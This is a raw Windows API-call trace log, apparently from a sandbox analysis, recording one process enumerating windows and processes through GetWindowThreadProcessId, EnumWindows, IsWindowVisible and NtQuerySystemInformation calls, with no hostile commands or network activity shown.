[0267.190] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x434
[0267.190] GetWindowThreadProcessId (in: hWnd=0x30164, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x71c
[0267.190] GetWindowThreadProcessId (in: hWnd=0x30158, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0267.190] GetWindowThreadProcessId (in: hWnd=0x1014e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0267.190] GetWindowThreadProcessId (in: hWnd=0x1014c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x50c
[0267.190] GetWindowThreadProcessId (in: hWnd=0x20142, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0267.190] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x50c
[0267.191] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0267.191] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0267.191] GetWindowThreadProcessId (in: hWnd=0x200d6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0267.191] GetWindowThreadProcessId (in: hWnd=0x200a8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x58c
[0267.191] GetWindowThreadProcessId (in: hWnd=0x1010c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x578
[0267.191] GetWindowThreadProcessId (in: hWnd=0x10108, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0267.191] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x530
[0267.191] GetWindowThreadProcessId (in: hWnd=0x50094, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0267.192] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x508
[0267.192] GetWindowThreadProcessId (in: hWnd=0x10088, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0267.192] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f4
[0267.192] GetWindowThreadProcessId (in: hWnd=0x1007c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0267.192] GetWindowThreadProcessId (in: hWnd=0x1006a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0267.192] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x794
[0267.192] GetWindowThreadProcessId (in: hWnd=0x10066, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0267.193] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0267.193] GetWindowThreadProcessId (in: hWnd=0x1004a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0267.193] GetWindowThreadProcessId (in: hWnd=0x20046, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0267.193] GetWindowThreadProcessId (in: hWnd=0x30044, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x448
[0267.193] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0267.193] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0267.193] GetWindowThreadProcessId (in: hWnd=0x3013e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x538
[0267.193] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0267.194] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0267.194] GetWindowThreadProcessId (in: hWnd=0x102d6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xf9c
[0267.194] GetWindowThreadProcessId (in: hWnd=0x102cc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x808
[0267.194] GetWindowThreadProcessId (in: hWnd=0x1026e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa14
[0267.194] GetWindowThreadProcessId (in: hWnd=0x102e4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0267.194] GetWindow (hWnd=0x102e4, uCmd=0x4) returned 0x102e2
[0267.194] GetWindowThreadProcessId (in: hWnd=0x150270, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xe68
[0267.194] GetWindowThreadProcessId (in: hWnd=0x50114, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x2c4
[0267.195] GetWindowThreadProcessId (in: hWnd=0x4011e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x3d4
[0267.195] GetWindowThreadProcessId (in: hWnd=0x1026a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa04
[0267.195] GetWindowThreadProcessId (in: hWnd=0x10266, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9f4
[0267.195] GetWindowThreadProcessId (in: hWnd=0x10262, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9e4
[0267.195] GetWindowThreadProcessId (in: hWnd=0x1025e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9d4
[0267.195] GetWindowThreadProcessId (in: hWnd=0x1025a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9c4
[0267.195] GetWindowThreadProcessId (in: hWnd=0x10256, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9b4
[0267.195] GetWindowThreadProcessId (in: hWnd=0x10252, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9a4
[0267.196] GetWindowThreadProcessId (in: hWnd=0x1024e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x994
[0267.196] GetWindowThreadProcessId (in: hWnd=0x1024a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x984
[0267.196] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x974
[0267.196] GetWindowThreadProcessId (in: hWnd=0x10242, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x964
[0267.196] GetWindowThreadProcessId (in: hWnd=0x1023e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x954
[0267.196] GetWindowThreadProcessId (in: hWnd=0x1023a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x944
[0267.196] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x934
[0267.197] GetWindowThreadProcessId (in: hWnd=0x10232, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x924
[0267.197] GetWindowThreadProcessId (in: hWnd=0x1022e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x914
[0267.197] GetWindowThreadProcessId (in: hWnd=0x1022a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x904
[0267.197] GetWindowThreadProcessId (in: hWnd=0x10226, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8f4
[0267.197] GetWindowThreadProcessId (in: hWnd=0x10222, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8e4
[0267.197] GetWindowThreadProcessId (in: hWnd=0x1021e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8d4
[0267.197] GetWindowThreadProcessId (in: hWnd=0x1021a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8c4
[0267.198] GetWindowThreadProcessId (in: hWnd=0x10216, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8b4
[0267.198] GetWindowThreadProcessId (in: hWnd=0x10212, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8a4
[0267.198] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x894
[0267.198] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x884
[0267.198] GetWindowThreadProcessId (in: hWnd=0x10206, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x874
[0267.198] GetWindowThreadProcessId (in: hWnd=0x10202, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x864
[0267.198] GetWindowThreadProcessId (in: hWnd=0x101fe, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x854
[0267.199] GetWindowThreadProcessId (in: hWnd=0x101fa, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x844
[0267.199] GetWindowThreadProcessId (in: hWnd=0x101f6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x834
[0267.199] GetWindowThreadProcessId (in: hWnd=0x101f2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x824
[0267.199] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x814
[0267.199] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x804
[0267.199] GetWindowThreadProcessId (in: hWnd=0x101e6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5a8
[0267.199] GetWindowThreadProcessId (in: hWnd=0x101e2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x32c
[0267.199] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x51c
[0267.200] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x634
[0267.200] GetWindowThreadProcessId (in: hWnd=0x101d6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5c4
[0267.200] GetWindowThreadProcessId (in: hWnd=0x101d2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x418
[0267.200] GetWindowThreadProcessId (in: hWnd=0x101ce, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x244
[0267.200] GetWindowThreadProcessId (in: hWnd=0x101ca, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x730
[0267.200] GetWindowThreadProcessId (in: hWnd=0x101c6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x640
[0267.200] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x670
[0267.201] GetWindowThreadProcessId (in: hWnd=0x101be, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7d0
[0267.201] GetWindowThreadProcessId (in: hWnd=0x101ba, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x754
[0267.201] GetWindowThreadProcessId (in: hWnd=0x101b6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x694
[0267.201] GetWindowThreadProcessId (in: hWnd=0x101b2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x704
[0267.201] GetWindowThreadProcessId (in: hWnd=0x101ae, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xc0
[0267.201] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5ac
[0267.201] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7f4
[0267.201] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x774
[0267.202] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x304
[0267.202] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x544
[0267.202] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c4
[0267.202] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x138
[0267.202] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x788
[0267.202] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c0
[0267.202] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x114
[0267.202] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x1c0
[0267.203] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x23c
[0267.203] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x560
[0267.203] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x564
[0267.203] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7a8
[0267.203] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x434
[0267.203] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x71c
[0267.203] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x50c
[0267.204] GetWindowThreadProcessId (in: hWnd=0x10130, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0267.204] GetWindowThreadProcessId (in: hWnd=0x10126, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0267.204] GetWindowThreadProcessId (in: hWnd=0x10110, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x58c
[0267.204] GetWindowThreadProcessId (in: hWnd=0x1010a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0267.204] GetWindowThreadProcessId (in: hWnd=0x10086, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f4
[0267.204] GetWindowThreadProcessId (in: hWnd=0x2002a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x794
[0267.204] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0267.204] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0267.206] EmptyWorkingSet (hProcess=0xffffffffffffffff) returned 1
[0267.267] SleepEx (dwMilliseconds=0x190, bAlertable=1) returned 0x0
[0269.424] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x11c20) returned 0x0
[0270.082] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x11b80) returned 0x0
[0270.093] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x11b80) returned 0x0
[0270.096] EnumWindows (lpEnumFunc=0x1b1a2afc, lParam=0x0) returned 1
[0270.096] GetWindowThreadProcessId (in: hWnd=0x3013c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x538
[0270.097] GetWindowThreadProcessId (in: hWnd=0x10090, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0270.097] GetWindowThreadProcessId (in: hWnd=0x300b2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0270.097] GetWindowThreadProcessId (in: hWnd=0x300ee, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0270.097] GetWindowThreadProcessId (in: hWnd=0x400c0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0270.097] GetWindowThreadProcessId (in: hWnd=0x10144, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0270.097] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0270.097] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0270.097] GetWindowThreadProcessId (in: hWnd=0x20028, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0270.098] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0270.098] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0270.098] GetWindowThreadProcessId (in: hWnd=0x10062, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0270.098] GetWindowThreadProcessId (in: hWnd=0x10080, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0270.098] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0270.098] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0270.098] GetWindowThreadProcessId (in: hWnd=0x1005a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0270.098] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0270.098] GetWindowThreadProcessId (in: hWnd=0x100fa, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0270.099] GetWindowThreadProcessId (in: hWnd=0x500a0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0270.099] GetWindowThreadProcessId (in: hWnd=0x10092, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0270.099] GetWindowThreadProcessId (in: hWnd=0x10312, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0270.099] GetWindow (hWnd=0x10312, uCmd=0x4) returned 0x102e0
[0270.099] GetWindowThreadProcessId (in: hWnd=0x10310, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0270.099] GetWindow (hWnd=0x10310, uCmd=0x4) returned 0x102e0
[0270.099] GetWindowThreadProcessId (in: hWnd=0x1030a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0270.099] GetWindow (hWnd=0x1030a, uCmd=0x4) returned 0x102e0
[0270.099] GetWindowThreadProcessId (in: hWnd=0x10300, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0270.099] GetWindow (hWnd=0x10300, uCmd=0x4) returned 0x102e0
[0270.099] GetWindowThreadProcessId (in: hWnd=0x102fe, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0270.100] GetWindow (hWnd=0x102fe, uCmd=0x4) returned 0x102e0
[0270.100] GetWindowThreadProcessId (in: hWnd=0x102d4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xf8c
[0270.100] GetWindowThreadProcessId (in: hWnd=0x102ca, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4e4
[0270.100] GetWindowThreadProcessId (in: hWnd=0x1026c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa14
[0270.100] GetWindowThreadProcessId (in: hWnd=0x102e0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0270.100] GetWindow (hWnd=0x102e0, uCmd=0x4) returned 0x0
[0270.100] IsWindowVisible (hWnd=0x102e0) returned 0
[0270.100] GetWindowThreadProcessId (in: hWnd=0x102e6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0270.100] GetWindow (hWnd=0x102e6, uCmd=0x4) returned 0x0
[0270.100] IsWindowVisible (hWnd=0x102e6) returned 0
[0270.100] GetWindowThreadProcessId (in: hWnd=0x102e2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0270.100] GetWindow (hWnd=0x102e2, uCmd=0x4) returned 0x0
[0270.100] IsWindowVisible (hWnd=0x102e2) returned 0
[0270.101] GetWindowThreadProcessId (in: hWnd=0x102de, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0270.101] GetWindow (hWnd=0x102de, uCmd=0x4) returned 0x0
[0270.101] IsWindowVisible (hWnd=0x102de) returned 0
[0270.101] GetWindowThreadProcessId (in: hWnd=0x102dc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0270.101] GetWindow (hWnd=0x102dc, uCmd=0x4) returned 0x0
[0270.101] IsWindowVisible (hWnd=0x102dc) returned 0
[0270.101] GetWindowThreadProcessId (in: hWnd=0x302d0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xe68
[0270.101] GetWindowThreadProcessId (in: hWnd=0x4015e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x2c4
[0270.101] GetWindowThreadProcessId (in: hWnd=0x50116, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x2c4
[0270.101] GetWindowThreadProcessId (in: hWnd=0x6011a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x3d4
[0270.101] GetWindowThreadProcessId (in: hWnd=0x900a6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0270.102] GetWindowThreadProcessId (in: hWnd=0x300c6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0270.102] GetWindowThreadProcessId (in: hWnd=0x400d0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0270.102] GetWindowThreadProcessId (in: hWnd=0x400f0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0270.102] GetWindowThreadProcessId (in: hWnd=0x300de, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0270.102] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0270.102] GetWindowThreadProcessId (in: hWnd=0x400c4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0270.102] GetWindowThreadProcessId (in: hWnd=0x300ac, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0270.102] GetWindowThreadProcessId (in: hWnd=0x10268, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa04
[0270.102] GetWindowThreadProcessId (in: hWnd=0x10264, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9f4
[0270.102] GetWindowThreadProcessId (in: hWnd=0x10260, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9e4
[0270.103] GetWindowThreadProcessId (in: hWnd=0x1025c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9d4
[0270.103] GetWindowThreadProcessId (in: hWnd=0x10258, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9c4
[0270.103] GetWindowThreadProcessId (in: hWnd=0x10254, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9b4
[0270.103] GetWindowThreadProcessId (in: hWnd=0x10250, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9a4
[0270.103] GetWindowThreadProcessId (in: hWnd=0x1024c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x994
[0270.103] GetWindowThreadProcessId (in: hWnd=0x10248, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x984
[0270.103] GetWindowThreadProcessId (in: hWnd=0x10244, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x974
[0270.103] GetWindowThreadProcessId (in: hWnd=0x10240, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x964
